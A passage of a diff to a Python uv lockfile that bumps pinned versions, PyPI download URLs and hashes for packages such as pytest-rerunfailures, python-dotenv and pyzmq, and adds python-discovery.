-sdist = { url = "https://files.pythonhosted.org/packages/50/17/ad187f46998814014f7cda309de700b87c0eb4b2e111e18bc8c819be7116/pytest_httpserver-1.1.5.tar.gz", hash = "sha256:dc3d82e1fe00e491829d8939c549bf4bd9b39a260f87113c619b9d517c2f8ff1", size = 70974, upload-time = "2026-02-14T13:27:23.412Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/ec/df/0bdf90b84c6a586a9fd2b509523a3ab26b1cc1b1dba2fb62a32e4411ea9e/pytest_httpserver-1.1.5-py3-none-any.whl", hash = "sha256:ee83feb587ab652c0c6729598db2820e9048233bac8df756818b7845a1621d0a", size = 23330, upload-time = "2026-02-14T13:27:22.119Z" }, -] - -[[package]] -name = "pytest-httpx" -version = "0.36.2" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "httpx" }, - { name = "pytest" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/4e/42/f53c58570e80d503ade9dd42ce57f2915d14bcbe25f6308138143950d1d6/pytest_httpx-0.36.2.tar.gz", hash = "sha256:05a56527484f7f4e8c856419ea379b8dc359c36801c4992fdb330f294c690356", size = 57683, upload-time = "2026-04-09T13:57:19.837Z" } +sdist = { url = "https://files.pythonhosted.org/packages/37/ff/81c955e8fbb0323e817d178dd653de90c81896e819a5df65c1e1c327155a/pytest_httpserver-1.2.0.tar.gz", hash = "sha256:d07744ce2efaafa0575ed3081d416b999c773b09e84aa95065138bedc3e12352", size = 71860, upload-time = "2026-10-05T19:00:25.597Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/1e/55/1fa65f8e4fceb19dd6daa867c162ad845d547f6058cd92b4b02384a44777/pytest_httpx-0.36.2-py3-none-any.whl", hash = "sha256:d42ebd5679442dc7bfb0c48e0767b6562e9bc4534d805127b0084171886a5e22", size = 20315, upload-time = "2026-04-09T13:57:18.587Z" }, + { url = "https://files.pythonhosted.org/packages/8d/34/aa11718873f8cd3d9b3c58938e537af0c2d9cb108160357f5db2af6ddd66/pytest_httpserver-1.2.0-py3-none-any.whl", hash = "sha256:749937892dbf909c8b703503b491be66fc24073e7988bf9b4d783af4f33da942", size = 23392, upload-time = "2026-10-05T19:00:26.998Z" }, ] [[package]] name = "pytest-rerunfailures" -version = "16.4" +version = "16.7" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "packaging" }, { name = "pytest" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/47/60/a90ca1cc6cffcb97b4260ed0ad2b7934b999d7c48abe4ea0840344862a3b/pytest_rerunfailures-16.4.tar.gz", hash = "sha256:8222d17c37eb7b9e4d6fc96a3c724ff4e1a5c97a5cc7cbb2c19e9282cfd21a11", size = 36635, upload-time = "2026-07-01T06:30:56.813Z" } +sdist = { url = "https://files.pythonhosted.org/packages/d1/b0/6b5337f9d59b26b0069ea3d5e863c31dc04b69e51bbfb1cf2ea6328fba87/pytest_rerunfailures-16.7.tar.gz", hash = "sha256:6956ddfb65ca1d07e7e3d99e2c5359d82300f4cb062e6049563bd2c106f72d5c", size = 59666, upload-time = "2026-09-17T07:08:48.871Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/ce/93/3cdcc4033444e822e01b573414b03fd37fd5533070c750477b8f5fa5224b/pytest_rerunfailures-16.4-py3-none-any.whl", hash = "sha256:f69b5beb39622c90d1e44bd945d826eff6db545dcf0b68f52b7e4ad15eaf6d6c", size = 16955, upload-time = "2026-07-01T06:30:55.333Z" }, + { url = "https://files.pythonhosted.org/packages/c1/d3/07ea35102cf2020ddaaac368d2a6f0bcc63d6523fb8918805bac3eb8b98f/pytest_rerunfailures-16.7-py3-none-any.whl", hash = "sha256:edf1886209c2b7dafe35b5bf1708d6ec40ccf6c6b357f0f02807efcec0204c99", size = 23952, upload-time = "2026-09-17T07:08:47.635Z" }, ] [[package]] @@ -2482,13 +2116,25 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" }, ] +[[package]] +name = "python-discovery" +version = "1.6.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "filelock" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f3/ee/cf608372c88ce2c136ee13c69ab6f667dbc0d0c1176af188b4ddc8853e66/python_discovery-1.6.4.tar.gz", hash = "sha256:bc70d31f0ec5de11eda13d4d64c16e24b3506a65984684f2b6c98cb83b2ea9df", size = 89883, upload-time = "2026-10-19T01:45:14.855Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/60/91/1aa70d3dfcab0dbcf88a2cbc3bce7f7c69562287a90216e617eaa4937e25/python_discovery-1.6.4-py3-none-any.whl", hash = "sha256:530179cc51a1816d512b15635b3dc931295ae12efb183783ad31190a5d425d2b", size = 39385, upload-time = "2026-10-19T01:45:13.668Z" }, +] + [[package]] name = "python-dotenv" -version = "1.2.2" +version = "1.2.4" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" } +sdist = { url = "https://files.pythonhosted.org/packages/74/26/2fbeedb218a787a5eea551c7532cac4e009f83d689dd2faa0d0353473f86/python_dotenv-1.2.4.tar.gz", hash = "sha256:f0d53e69935a851c0dcc78f3ab7aaccd8cabef0b92382b576b824212902873c0", size = 60824, upload-time = "2026-10-01T05:36:10Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" }, + { url = "https://files.pythonhosted.org/packages/60/d1/38f3a3405989a89ac18390803e70c6ad7c7760da4f9b83cbeca0c44a0c72/python_dotenv-1.2.4-py3-none-any.whl", hash = "sha256:42269a8a5b3fd54ffa6f3d84b18abed50064717576b4ecf03dc4a55d8aa04fdc", size = 23266, upload-time = "2026-10-01T05:36:08.633Z" }, ] [[package]] @@ -2509,15 +2155,6 @@ version = "6.0.3" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f", size = 130960, upload-time = "2025-09-25T21:33:16.546Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/f4/a0/39350dd17dd6d6c6507025c0e53aef67a9293a6d37d3511f23ea510d5800/pyyaml-6.0.3-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:214ed4befebe12df36bcc8bc2b64b396ca31be9304b8f59e25c11cf94a4c033b", size = 184227, upload-time = "2025-09-25T21:31:46.04Z" }, - { url = "https://files.pythonhosted.org/packages/05/14/52d505b5c59ce73244f59c7a50ecf47093ce4765f116cdb98286a71eeca2/pyyaml-6.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02ea2dfa234451bbb8772601d7b8e426c2bfa197136796224e50e35a78777956", size = 174019, upload-time = "2025-09-25T21:31:47.706Z" }, - { url = "https://files.pythonhosted.org/packages/43/f7/0e6a5ae5599c838c696adb4e6330a59f463265bfa1e116cfd1fbb0abaaae/pyyaml-6.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b30236e45cf30d2b8e7b3e85881719e98507abed1011bf463a8fa23e9c3e98a8", size = 740646, upload-time = "2025-09-25T21:31:49.21Z" }, - { url = "https://files.pythonhosted.org/packages/2f/3a/61b9db1d28f00f8fd0ae760459a5c4bf1b941baf714e207b6eb0657d2578/pyyaml-6.0.3-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:66291b10affd76d76f54fad28e22e51719ef9ba22b29e1d7d03d6777a9174198", size = 840793, upload-time = "2025-09-25T21:31:50.735Z" }, - { url = "https://files.pythonhosted.org/packages/7a/1e/7acc4f0e74c4b3d9531e24739e0ab832a5edf40e64fbae1a9c01941cabd7/pyyaml-6.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9c7708761fccb9397fe64bbc0395abcae8c4bf7b0eac081e12b809bf47700d0b", size = 770293, upload-time = "2025-09-25T21:31:51.828Z" }, - { url = "https://files.pythonhosted.org/packages/8b/ef/abd085f06853af0cd59fa5f913d61a8eab65d7639ff2a658d18a25d6a89d/pyyaml-6.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:418cf3f2111bc80e0933b2cd8cd04f286338bb88bdc7bc8e6dd775ebde60b5e0", size = 732872, upload-time = "2025-09-25T21:31:53.282Z" }, - { url = "https://files.pythonhosted.org/packages/1f/15/2bc9c8faf6450a8b3c9fc5448ed869c599c0a74ba2669772b1f3a0040180/pyyaml-6.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:5e0b74767e5f8c593e8c9b5912019159ed0533c70051e9cce3e8b6aa699fcd69", size = 758828, upload-time = "2025-09-25T21:31:54.807Z" }, - { url = "https://files.pythonhosted.org/packages/a3/00/531e92e88c00f4333ce359e50c19b8d1de9fe8d581b1534e35ccfbc5f393/pyyaml-6.0.3-cp310-cp310-win32.whl", hash = "sha256:28c8d926f98f432f88adc23edf2e6d4921ac26fb084b028c733d01868d19007e", size = 142415, upload-time = "2025-09-25T21:31:55.885Z" }, - { url = "https://files.pythonhosted.org/packages/2a/fa/926c003379b19fca39dd4634818b00dec6c62d87faf628d1394e137354d4/pyyaml-6.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:bdb2c67c6c1390b63c6ff89f210c8fd09d9a1217a465701eac7316313c915e4c", size = 158561, upload-time = "2025-09-25T21:31:57.406Z" }, { url = "https://files.pythonhosted.org/packages/6d/16/a95b6757765b7b031c9374925bb718d55e0a9ba8a1b6a12d25962ea44347/pyyaml-6.0.3-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:44edc647873928551a01e7a563d7452ccdebee747728c1080d881d68af7b997e", size = 185826, upload-time = "2025-09-25T21:31:58.655Z" }, { url = "https://files.pythonhosted.org/packages/16/19/13de8e4377ed53079ee996e1ab0a9c33ec2faf808a4647b7b4c0d46dd239/pyyaml-6.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:652cb6edd41e718550aad172851962662ff2681490a8a711af6a4d288dd96824", size = 175577, upload-time = "2025-09-25T21:32:00.088Z" }, { url = "https://files.pythonhosted.org/packages/0c/62/d2eb46264d4b157dae1275b573017abec435397aa59cbcdab6fc978a8af4/pyyaml-6.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:10892704fc220243f5305762e276552a0395f7beb4dbf9b14ec8fd43b57f126c", size = 775556, upload-time = "2025-09-25T21:32:01.31Z" }, @@ -2581,295 +2218,270 @@ wheels = [ [[package]] name = "pyzmq" -version = "27.1.0" +version = "27.3.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "cffi", marker = "implementation_name == 'pypy'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/04/0b/3c9baedbdf613ecaa7aa07027780b8867f57b6293b6ee50de316c9f3222b/pyzmq-27.1.0.tar.gz", hash = "sha256:ac0765e3d44455adb6ddbf4417dcce460fc40a05978c08efdf2948072f6db540", size = 281750, upload-time = "2025-09-08T23:10:18.157Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/67/b9/52aa9ec2867528b54f1e60846728d8b4d84726630874fee3a91e66c7df81/pyzmq-27.1.0-cp310-cp310-macosx_10_15_universal2.whl", hash = "sha256:508e23ec9bc44c0005c4946ea013d9317ae00ac67778bd47519fdf5a0e930ff4", size = 1329850, upload-time = "2025-09-08T23:07:26.274Z" }, - { url = "https://files.pythonhosted.org/packages/99/64/5653e7b7425b169f994835a2b2abf9486264401fdef18df91ddae47ce2cc/pyzmq-27.1.0-cp310-cp310-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:507b6f430bdcf0ee48c0d30e734ea89ce5567fd7b8a0f0044a369c176aa44556", size = 906380, upload-time = "2025-09-08T23:07:29.78Z" }, - { url = "https://files.pythonhosted.org/packages/73/78/7d713284dbe022f6440e391bd1f3c48d9185673878034cfb3939cdf333b2/pyzmq-27.1.0-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bf7b38f9fd7b81cb6d9391b2946382c8237fd814075c6aa9c3b746d53076023b", size = 666421, upload-time = "2025-09-08T23:07:31.263Z" }, - { url = "https://files.pythonhosted.org/packages/30/76/8f099f9d6482450428b17c4d6b241281af7ce6a9de8149ca8c1c649f6792/pyzmq-27.1.0-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:03ff0b279b40d687691a6217c12242ee71f0fba28bf8626ff50e3ef0f4410e1e", size = 854149, upload-time = "2025-09-08T23:07:33.17Z" }, - { url = "https://files.pythonhosted.org/packages/59/f0/37fbfff06c68016019043897e4c969ceab18bde46cd2aca89821fcf4fb2e/pyzmq-27.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:677e744fee605753eac48198b15a2124016c009a11056f93807000ab11ce6526", size = 1655070, upload-time = "2025-09-08T23:07:35.205Z" }, - { url = "https://files.pythonhosted.org/packages/47/14/7254be73f7a8edc3587609554fcaa7bfd30649bf89cd260e4487ca70fdaa/pyzmq-27.1.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:dd2fec2b13137416a1c5648b7009499bcc8fea78154cd888855fa32514f3dad1", size = 2033441, upload-time = "2025-09-08T23:07:37.432Z" }, - { url = "https://files.pythonhosted.org/packages/22/dc/49f2be26c6f86f347e796a4d99b19167fc94503f0af3fd010ad262158822/pyzmq-27.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:08e90bb4b57603b84eab1d0ca05b3bbb10f60c1839dc471fc1c9e1507bef3386", size = 1891529, upload-time = "2025-09-08T23:07:39.047Z" }, - { url = "https://files.pythonhosted.org/packages/a3/3e/154fb963ae25be70c0064ce97776c937ecc7d8b0259f22858154a9999769/pyzmq-27.1.0-cp310-cp310-win32.whl", hash = "sha256:a5b42d7a0658b515319148875fcb782bbf118dd41c671b62dae33666c2213bda", size = 567276, upload-time = "2025-09-08T23:07:40.695Z" }, - { url = "https://files.pythonhosted.org/packages/62/b2/f4ab56c8c595abcb26b2be5fd9fa9e6899c1e5ad54964e93ae8bb35482be/pyzmq-27.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:c0bb87227430ee3aefcc0ade2088100e528d5d3298a0a715a64f3d04c60ba02f", size = 632208, upload-time = "2025-09-08T23:07:42.298Z" }, - { url = "https://files.pythonhosted.org/packages/3b/e3/be2cc7ab8332bdac0522fdb64c17b1b6241a795bee02e0196636ec5beb79/pyzmq-27.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:9a916f76c2ab8d045b19f2286851a38e9ac94ea91faf65bd64735924522a8b32", size = 559766, upload-time = "2025-09-08T23:07:43.869Z" }, - { url = "https://files.pythonhosted.org/packages/06/5d/305323ba86b284e6fcb0d842d6adaa2999035f70f8c38a9b6d21ad28c3d4/pyzmq-27.1.0-cp311-cp311-macosx_10_15_universal2.whl", hash = "sha256:226b091818d461a3bef763805e75685e478ac17e9008f49fce2d3e52b3d58b86", size = 1333328, upload-time = "2025-09-08T23:07:45.946Z" }, - { url = "https://files.pythonhosted.org/packages/bd/a0/fc7e78a23748ad5443ac3275943457e8452da67fda347e05260261108cbc/pyzmq-27.1.0-cp311-cp311-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:0790a0161c281ca9723f804871b4027f2e8b5a528d357c8952d08cd1a9c15581", size = 908803, upload-time = "2025-09-08T23:07:47.551Z" }, - { url = "https://files.pythonhosted.org/packages/7e/22/37d15eb05f3bdfa4abea6f6d96eb3bb58585fbd3e4e0ded4e743bc650c97/pyzmq-27.1.0-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c895a6f35476b0c3a54e3eb6ccf41bf3018de937016e6e18748317f25d4e925f", size = 668836, upload-time = "2025-09-08T23:07:49.436Z" }, - { url = "https://files.pythonhosted.org/packages/b1/c4/2a6fe5111a01005fc7af3878259ce17684fabb8852815eda6225620f3c59/pyzmq-27.1.0-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5bbf8d3630bf96550b3be8e1fc0fea5cbdc8d5466c1192887bd94869da17a63e", size = 857038, upload-time = "2025-09-08T23:07:51.234Z" }, - { url = "https://files.pythonhosted.org/packages/cb/eb/bfdcb41d0db9cd233d6fb22dc131583774135505ada800ebf14dfb0a7c40/pyzmq-27.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:15c8bd0fe0dabf808e2d7a681398c4e5ded70a551ab47482067a572c054c8e2e", size = 1657531, upload-time = "2025-09-08T23:07:52.795Z" }, - { url = "https://files.pythonhosted.org/packages/ab/21/e3180ca269ed4a0de5c34417dfe71a8ae80421198be83ee619a8a485b0c7/pyzmq-27.1.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:bafcb3dd171b4ae9f19ee6380dfc71ce0390fefaf26b504c0e5f628d7c8c54f2", size = 2034786, upload-time = "2025-09-08T23:07:55.047Z" }, - { url = "https://files.pythonhosted.org/packages/3b/b1/5e21d0b517434b7f33588ff76c177c5a167858cc38ef740608898cd329f2/pyzmq-27.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e829529fcaa09937189178115c49c504e69289abd39967cd8a4c215761373394", size = 1894220, upload-time = "2025-09-08T23:07:57.172Z" }, - { url = "https://files.pythonhosted.org/packages/03/f2/44913a6ff6941905efc24a1acf3d3cb6146b636c546c7406c38c49c403d4/pyzmq-27.1.0-cp311-cp311-win32.whl", hash = "sha256:6df079c47d5902af6db298ec92151db82ecb557af663098b92f2508c398bb54f", size = 567155, upload-time = "2025-09-08T23:07:59.05Z" }, - { url = "https://files.pythonhosted.org/packages/23/6d/d8d92a0eb270a925c9b4dd039c0b4dc10abc2fcbc48331788824ef113935/pyzmq-27.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:190cbf120fbc0fc4957b56866830def56628934a9d112aec0e2507aa6a032b97", size = 633428, upload-time = "2025-09-08T23:08:00.663Z" }, - { url = "https://files.pythonhosted.org/packages/ae/14/01afebc96c5abbbd713ecfc7469cfb1bc801c819a74ed5c9fad9a48801cb/pyzmq-27.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:eca6b47df11a132d1745eb3b5b5e557a7dae2c303277aa0e69c6ba91b8736e07", size = 559497, upload-time = "2025-09-08T23:08:02.15Z" }, - { url = "https://files.pythonhosted.org/packages/92/e7/038aab64a946d535901103da16b953c8c9cc9c961dadcbf3609ed6428d23/pyzmq-27.1.0-cp312-abi3-macosx_10_15_universal2.whl", hash = "sha256:452631b640340c928fa343801b0d07eb0c3789a5ffa843f6e1a9cee0ba4eb4fc", size = 1306279, upload-time = "2025-09-08T23:08:03.807Z" }, - { url = "https://files.pythonhosted.org/packages/e8/5e/c3c49fdd0f535ef45eefcc16934648e9e59dace4a37ee88fc53f6cd8e641/pyzmq-27.1.0-cp312-abi3-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1c179799b118e554b66da67d88ed66cd37a169f1f23b5d9f0a231b4e8d44a113", size = 895645, upload-time = "2025-09-08T23:08:05.301Z" }, - { url = "https://files.pythonhosted.org/packages/f8/e5/b0b2504cb4e903a74dcf1ebae157f9e20ebb6ea76095f6cfffea28c42ecd/pyzmq-27.1.0-cp312-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3837439b7f99e60312f0c926a6ad437b067356dc2bc2ec96eb395fd0fe804233", size = 652574, upload-time = "2025-09-08T23:08:06.828Z" }, - { url = "https://files.pythonhosted.org/packages/f8/9b/c108cdb55560eaf253f0cbdb61b29971e9fb34d9c3499b0e96e4e60ed8a5/pyzmq-27.1.0-cp312-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:43ad9a73e3da1fab5b0e7e13402f0b2fb934ae1c876c51d0afff0e7c052eca31", size = 840995, upload-time = "2025-09-08T23:08:08.396Z" }, - { url = "https://files.pythonhosted.org/packages/c2/bb/b79798ca177b9eb0825b4c9998c6af8cd2a7f15a6a1a4272c1d1a21d382f/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:0de3028d69d4cdc475bfe47a6128eb38d8bc0e8f4d69646adfbcd840facbac28", size = 1642070, upload-time = "2025-09-08T23:08:09.989Z" }, - { url = "https://files.pythonhosted.org/packages/9c/80/2df2e7977c4ede24c79ae39dcef3899bfc5f34d1ca7a5b24f182c9b7a9ca/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_i686.whl", hash = "sha256:cf44a7763aea9298c0aa7dbf859f87ed7012de8bda0f3977b6fb1d96745df856", size = 2021121, upload-time = "2025-09-08T23:08:11.907Z" }, - { url = "https://files.pythonhosted.org/packages/46/bd/2d45ad24f5f5ae7e8d01525eb76786fa7557136555cac7d929880519e33a/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:f30f395a9e6fbca195400ce833c731e7b64c3919aa481af4d88c3759e0cb7496", size = 1878550, upload-time = "2025-09-08T23:08:13.513Z" }, - { url = "https://files.pythonhosted.org/packages/e6/2f/104c0a3c778d7c2ab8190e9db4f62f0b6957b53c9d87db77c284b69f33ea/pyzmq-27.1.0-cp312-abi3-win32.whl", hash = "sha256:250e5436a4ba13885494412b3da5d518cd0d3a278a1ae640e113c073a5f88edd", size = 559184, upload-time = "2025-09-08T23:08:15.163Z" }, - { url = "https://files.pythonhosted.org/packages/fc/7f/a21b20d577e4100c6a41795842028235998a643b1ad406a6d4163ea8f53e/pyzmq-27.1.0-cp312-abi3-win_amd64.whl", hash = "sha256:9ce490cf1d2ca2ad84733aa1d69ce6855372cb5ce9223802450c9b2a7cba0ccf", size = 619480, upload-time = "2025-09-08T23:08:17.192Z" }, - { url = "https://files.pythonhosted.org/packages/78/c2/c012beae5f76b72f007a9e91ee9401cb88c51d0f83c6257a03e785c81cc2/pyzmq-27.1.0-cp312-abi3-win_arm64.whl", hash = "sha256:75a2f36223f0d535a0c919e23615fc85a1e23b71f40c7eb43d7b1dedb4d8f15f", size = 552993, upload-time = "2025-09-08T23:08:18.926Z" }, - { url = "https://files.pythonhosted.org/packages/60/cb/84a13459c51da6cec1b7b1dc1a47e6db6da50b77ad7fd9c145842750a011/pyzmq-27.1.0-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:93ad4b0855a664229559e45c8d23797ceac03183c7b6f5b4428152a6b06684a5", size = 1122436, upload-time = "2025-09-08T23:08:20.801Z" }, - { url = "https://files.pythonhosted.org/packages/dc/b6/94414759a69a26c3dd674570a81813c46a078767d931a6c70ad29fc585cb/pyzmq-27.1.0-cp313-cp313-android_24_x86_64.whl", hash = "sha256:fbb4f2400bfda24f12f009cba62ad5734148569ff4949b1b6ec3b519444342e6", size = 1156301, upload-time = "2025-09-08T23:08:22.47Z" }, - { url = "https://files.pythonhosted.org/packages/a5/ad/15906493fd40c316377fd8a8f6b1f93104f97a752667763c9b9c1b71d42d/pyzmq-27.1.0-cp313-cp313t-macosx_10_15_universal2.whl", hash = "sha256:e343d067f7b151cfe4eb3bb796a7752c9d369eed007b91231e817071d2c2fec7", size = 1341197, upload-time = "2025-09-08T23:08:24.286Z" }, - { url = "https://files.pythonhosted.org/packages/14/1d/d343f3ce13db53a54cb8946594e567410b2125394dafcc0268d8dda027e0/pyzmq-27.1.0-cp313-cp313t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:08363b2011dec81c354d694bdecaef4770e0ae96b9afea70b3f47b973655cc05", size = 897275, upload-time = "2025-09-08T23:08:26.063Z" }, - { url = "https://files.pythonhosted.org/packages/69/2d/d83dd6d7ca929a2fc67d2c3005415cdf322af7751d773524809f9e585129/pyzmq-27.1.0-cp313-cp313t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d54530c8c8b5b8ddb3318f481297441af102517602b569146185fa10b63f4fa9", size = 660469, upload-time = "2025-09-08T23:08:27.623Z" }, - { url = "https://files.pythonhosted.org/packages/3e/cd/9822a7af117f4bc0f1952dbe9ef8358eb50a24928efd5edf54210b850259/pyzmq-27.1.0-cp313-cp313t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6f3afa12c392f0a44a2414056d730eebc33ec0926aae92b5ad5cf26ebb6cc128", size = 847961, upload-time = "2025-09-08T23:08:29.672Z" }, - { url = "https://files.pythonhosted.org/packages/9a/12/f003e824a19ed73be15542f172fd0ec4ad0b60cf37436652c93b9df7c585/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c65047adafe573ff023b3187bb93faa583151627bc9c51fc4fb2c561ed689d39", size = 1650282, upload-time = "2025-09-08T23:08:31.349Z" }, - { url = "https://files.pythonhosted.org/packages/d5/4a/e82d788ed58e9a23995cee70dbc20c9aded3d13a92d30d57ec2291f1e8a3/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:90e6e9441c946a8b0a667356f7078d96411391a3b8f80980315455574177ec97", size = 2024468, upload-time = "2025-09-08T23:08:33.543Z" }, - { url = "https://files.pythonhosted.org/packages/d9/94/2da0a60841f757481e402b34bf4c8bf57fa54a5466b965de791b1e6f747d/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:add071b2d25f84e8189aaf0882d39a285b42fa3853016ebab234a5e78c7a43db", size = 1885394, upload-time = "2025-09-08T23:08:35.51Z" }, - { url = "https://files.pythonhosted.org/packages/4f/6f/55c10e2e49ad52d080dc24e37adb215e5b0d64990b57598abc2e3f01725b/pyzmq-27.1.0-cp313-cp313t-win32.whl", hash = "sha256:7ccc0700cfdf7bd487bea8d850ec38f204478681ea02a582a8da8171b7f90a1c", size = 574964, upload-time = "2025-09-08T23:08:37.178Z" }, - { url = "https://files.pythonhosted.org/packages/87/4d/2534970ba63dd7c522d8ca80fb92777f362c0f321900667c615e2067cb29/pyzmq-27.1.0-cp313-cp313t-win_amd64.whl", hash = "sha256:8085a9fba668216b9b4323be338ee5437a235fe275b9d1610e422ccc279733e2", size = 641029, upload-time = "2025-09-08T23:08:40.595Z" }, - { url = "https://files.pythonhosted.org/packages/f6/fa/f8aea7a28b0641f31d40dea42d7ef003fded31e184ef47db696bc74cd610/pyzmq-27.1.0-cp313-cp313t-win_arm64.whl", hash = "sha256:6bb54ca21bcfe361e445256c15eedf083f153811c37be87e0514934d6913061e", size = 561541, upload-time = "2025-09-08T23:08:42.668Z" }, - { url = "https://files.pythonhosted.org/packages/87/45/19efbb3000956e82d0331bafca5d9ac19ea2857722fa2caacefb6042f39d/pyzmq-27.1.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:ce980af330231615756acd5154f29813d553ea555485ae712c491cd483df6b7a", size = 1341197, upload-time = "2025-09-08T23:08:44.973Z" }, - { url = "https://files.pythonhosted.org/packages/48/43/d72ccdbf0d73d1343936296665826350cb1e825f92f2db9db3e61c2162a2/pyzmq-27.1.0-cp314-cp314t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1779be8c549e54a1c38f805e56d2a2e5c009d26de10921d7d51cfd1c8d4632ea", size = 897175, upload-time = "2025-09-08T23:08:46.601Z" }, - { url = "https://files.pythonhosted.org/packages/2f/2e/a483f73a10b65a9ef0161e817321d39a770b2acf8bcf3004a28d90d14a94/pyzmq-27.1.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7200bb0f03345515df50d99d3db206a0a6bee1955fbb8c453c76f5bf0e08fb96", size = 660427, upload-time = "2025-09-08T23:08:48.187Z" }, - { url = "https://files.pythonhosted.org/packages/f5/d2/5f36552c2d3e5685abe60dfa56f91169f7a2d99bbaf67c5271022ab40863/pyzmq-27.1.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01c0e07d558b06a60773744ea6251f769cd79a41a97d11b8bf4ab8f034b0424d", size = 847929, upload-time = "2025-09-08T23:08:49.76Z" }, - { url = "https://files.pythonhosted.org/packages/c4/2a/404b331f2b7bf3198e9945f75c4c521f0c6a3a23b51f7a4a401b94a13833/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:80d834abee71f65253c91540445d37c4c561e293ba6e741b992f20a105d69146", size = 1650193, upload-time = "2025-09-08T23:08:51.7Z" }, - { url = "https://files.pythonhosted.org/packages/1c/0b/f4107e33f62a5acf60e3ded67ed33d79b4ce18de432625ce2fc5093d6388/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = 